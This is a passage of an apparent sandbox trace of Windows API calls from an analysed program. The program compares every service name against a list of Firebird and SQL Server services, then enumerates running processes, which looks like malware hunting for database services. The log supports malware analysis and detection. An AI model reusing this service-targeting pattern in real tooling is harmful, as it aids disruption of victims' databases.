lpString2="ClickToRunSvc") returned 1 [0276.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0276.215] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0276.215] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0276.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0276.215] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0276.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0276.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0276.215] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0276.216] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0276.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0276.216] lstrlenW (lpString="CryptSvc") returned 8 [0276.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0276.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0276.216] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0276.216] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0276.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0276.216] lstrlenW (lpString="DcomLaunch") returned 10 [0276.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0276.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0276.216] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0276.216] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0276.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0276.216] lstrlenW (lpString="DeviceAssociationService") returned 24 [0276.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0276.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0276.216] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0276.216] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0276.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0276.216] lstrlenW (lpString="Dhcp") returned 4 [0276.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0276.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0276.216] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0276.216] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0276.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0276.217] lstrlenW (lpString="Dnscache") returned 8 [0276.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0276.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0276.217] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0276.217] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0276.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0276.217] lstrlenW (lpString="DPS") returned 3 [0276.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0276.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0276.217] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0276.217] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0276.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0276.217] lstrlenW (lpString="DusmSvc") returned 7 [0276.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0276.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0276.217] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0276.217] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0276.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0276.217] lstrlenW (lpString="EventLog") returned 8 [0276.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0276.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0276.217] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0276.217] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0276.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0276.217] lstrlenW (lpString="EventSystem") returned 11 [0276.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0276.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0276.218] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0276.218] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0276.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0276.218] lstrlenW (lpString="FontCache") returned 9 [0276.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0276.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0276.218] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0276.218] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0276.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0276.218] lstrlenW (lpString="gpsvc") returned 5 [0276.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0276.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0276.218] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0276.218] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0276.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0276.218] lstrlenW (lpString="iphlpsvc") returned 8 [0276.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0276.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0276.218] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0276.218] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0276.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0276.218] lstrlenW (lpString="KeyIso") returned 6 [0276.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0276.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0276.219] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0276.219] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0276.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0276.219] lstrlenW (lpString="LanmanServer") returned 12 [0276.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0276.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0276.219] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0276.219] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0276.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0276.219] lstrlenW (lpString="LanmanWorkstation") returned 17 [0276.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0276.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0276.219] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0276.219] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0276.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0276.219] lstrlenW (lpString="lfsvc") returned 5 [0276.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0276.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0276.219] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0276.219] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0276.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0276.219] lstrlenW (lpString="lmhosts") returned 7 [0276.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0276.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0276.219] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0276.220] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0276.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0276.220] lstrlenW (lpString="LSM") returned 3 [0276.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0276.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0276.220] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0276.220] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0276.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0276.220] lstrlenW (lpString="MpsSvc") returned 6 [0276.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0276.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0276.220] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0276.220] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0276.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0276.220] lstrlenW (lpString="NcbService") returned 10 [0276.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0276.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0276.220] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0276.220] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0276.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0276.269] lstrlenW (lpString="netprofm") returned 8 [0276.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0276.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0276.269] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0276.270] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0276.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0276.270] lstrlenW (lpString="NgcSvc") returned 6 [0276.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0276.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0276.270] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0276.270] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0276.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0276.270] lstrlenW (lpString="NlaSvc") returned 6 [0276.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0276.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0276.270] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0276.270] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0276.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0276.270] lstrlenW (lpString="nsi") returned 3 [0276.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0276.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0276.270] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0276.270] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0276.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0276.270] lstrlenW (lpString="PcaSvc") returned 6 [0276.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0276.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0276.270] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0276.270] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0276.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0276.271] lstrlenW (lpString="PlugPlay") returned 8 [0276.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0276.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0276.271] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0276.271] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0276.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0276.271] lstrlenW (lpString="Power") returned 5 [0276.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0276.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0276.271] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0276.271] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0276.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0276.271] lstrlenW (lpString="ProfSvc") returned 7 [0276.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0276.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0276.271] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0276.271] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0276.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0276.271] lstrlenW (lpString="RpcEptMapper") returned 12 [0276.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0276.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0276.271] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0276.271] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0276.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0276.271] lstrlenW (lpString="RpcSs") returned 5 [0276.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0276.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0276.272] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0276.272] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0276.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0276.272] lstrlenW (lpString="SamSs") returned 5 [0276.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0276.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0276.272] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0276.272] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0276.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0276.272] lstrlenW (lpString="Schedule") returned 8 [0276.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0276.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0276.272] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0276.272] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0276.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0276.272] lstrlenW (lpString="SecurityHealthService") returned 21 [0276.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0276.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0276.272] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0276.272] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0276.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0276.272] lstrlenW (lpString="SENS") returned 4 [0276.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0276.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0276.272] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0276.272] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0276.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0276.273] lstrlenW (lpString="ShellHWDetection") returned 16 [0276.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0276.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0276.273] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0276.273] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0276.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0276.273] lstrlenW (lpString="Spooler") returned 7 [0276.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0276.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0276.273] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0276.273] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0276.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0276.273] lstrlenW (lpString="StateRepository") returned 15 [0276.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0276.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0276.273] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0276.273] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0276.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0276.273] lstrlenW (lpString="SysMain") returned 7 [0276.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0276.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0276.273] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0276.273] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0276.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0276.273] lstrlenW (lpString="SystemEventsBroker") returned 18 [0276.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0276.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0276.273] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0276.273] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0276.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0276.274] lstrlenW (lpString="Themes") returned 6 [0276.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0276.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0276.274] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0276.274] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0276.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0276.274] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0276.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0276.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0276.274] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0276.274] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0276.274] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3faf028 | out: hHeap=0x630000) returned 1 [0276.274] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x112c [0276.278] Process32FirstW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.279] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0276.280] lstrlenW (lpString="System") returned 6 [0276.280] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0276.281] lstrlenW (lpString="smss.exe") returned 8 [0276.281] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.281] lstrlenW (lpString="csrss.exe") returned 9 [0276.282] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0276.282] lstrlenW (lpString="wininit.exe") returned 11 [0276.282] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.283] lstrlenW (lpString="csrss.exe") returned 9 [0276.283] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0276.284] lstrlenW (lpString="winlogon.exe") returned 12 [0276.285] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0276.285] lstrlenW (lpString="services.exe") returned 12 [0276.285] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0276.286] lstrlenW (lpString="lsass.exe") returned 9 [0276.286] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0276.287] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0276.287] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0276.288] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0276.288] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.289] lstrlenW (lpString="svchost.exe") returned 11 [0276.289] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.290] lstrlenW (lpString="svchost.exe") returned 11 [0276.290] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0276.290] lstrlenW (lpString="dwm.exe") returned 7 [0276.291] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.291] lstrlenW (lpString="svchost.exe") returned 11 [0276.292] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.293] lstrlenW (lpString="svchost.exe") returned 11 [0276.293] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, 